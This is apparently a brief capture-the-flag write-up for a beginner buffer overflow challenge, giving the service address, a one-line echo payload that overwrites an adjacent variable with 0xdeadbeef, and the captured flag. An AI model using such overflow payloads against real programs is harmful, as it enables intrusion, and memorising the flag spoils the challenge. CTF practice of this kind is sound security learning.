It's a b0f , Can't be easier than that.
Service : nc 68.183.158.95 8989
Overflow the target buffer and overwrite the adjacent variable with 0xdeadbeef to pass the check to get the flag.
$ echo -e "AAAAAAAAAA\xef\xbe\xad\xde" | ./q1
flag: d4rk{W3lc0me_t0_th3_w0rld_0f_pwn}c0de